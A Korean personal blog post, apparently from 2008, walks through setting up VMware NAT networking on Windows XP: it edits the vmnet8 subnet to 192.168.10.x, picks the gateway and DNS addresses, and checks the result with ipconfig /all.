앞으로 게이트웨이는 192.168.10.2가 되는거다.
편집하고
' ok ' 선택
잠시후
사용자 삽입 이미지


이후
실행 ' cmd ' - > ipconfig /all 로 확인 해보면 설정한 네트워크 대역대로 변해 있는 걸
볼 수 있다.
사용자 삽입 이미지


휴...이로서 모든 네트워크 셋팅을 끝냈다.
이후 기타 vmware의 추가 기능을 o/s를 깔면서 차차 설명해 보겠다.
우선 이 상태에서 o/s를 깔았다면!
가상 o/s에서 네트워크 셋팅을 192.168.10.x로 주고 x는 끌리는 대로~ 이론상 0~255까지 된다.
다만 !
xp에서 보는 아이피는 192.168.10.1 이며 가상 머신에서는 게이트웨이 아이피가 있다.
고로 두개를 제외한 나머지를 끌리는 대로 가져다 쓰면 된다!
gateway를 192.168.10.2 /24
dns등등은 게이트 웨이를 지칭 해도 되고
아니면 공인 dns주소를 넣어 줘도 된다.( os특성을 탈 수 도 있으니 둘 중 되는놈으로 !)
--------------------------------------------------------------------------------

휴 이상 vmware설치 및 셋팅을 끝냈다. 일일이 스샷 찍고 수정하면서 할려니 매우 힘이드는데

첨부터 진이 쪽 빠지는 것이...담엔 동영상으로 대체 해볼 생각인데...

업로드가 느리다는 ㅡ.ㅠ 해서 고민...고민..
2008. 6. 17. 23:32

vmware 셋팅 - 1

network setting
--------------------------------------------------------
필자 환경

o/s            win xp
network      cable modem + 공유기 상태
--------------------------------------------------------

해서 내부적으로 가상 아이피를 쓰고 있다. ( C class)
192.168.x.x

보통 이런 환경이기 때문에

딴생각 없이 NAT를 쓰기로 하자

vmware를 설치 하고 나면 네트워크 환경에서 '네트워크 연결을 보기' 하면
vmnet8, vmnet 1이 저절로 생성된것을 볼 수 있다.


사용자 삽입 이미지
또한 실행 - 'cmd' - ' ipconfig /all '해서 확인해봐도 같은 내용이 나온다.

초기 설치시에 vmware의 dhcp 혹은 default 설정에 따라서
설정된 값이 있는데 이를 무시하고 새로 설정하여 써 보자.
사용자 삽입 이미지


vmware에서 ' edit ' - > virtual Network setting ' 선택
사용자 삽입 이미지

' host virtual network mapping ' 탭 선택
사용자 삽입 이미지


vmnet8: 의 오른쪽 ' > ' 꺽쇠 부분 선택

사용자 삽입 이미지
원하는 대역대로 편집해서 쓰기 바란다 . 필자는 192.168.10.x 번대를 쓸 계획이다.
' ok ' 선택


사용자 삽입 이미지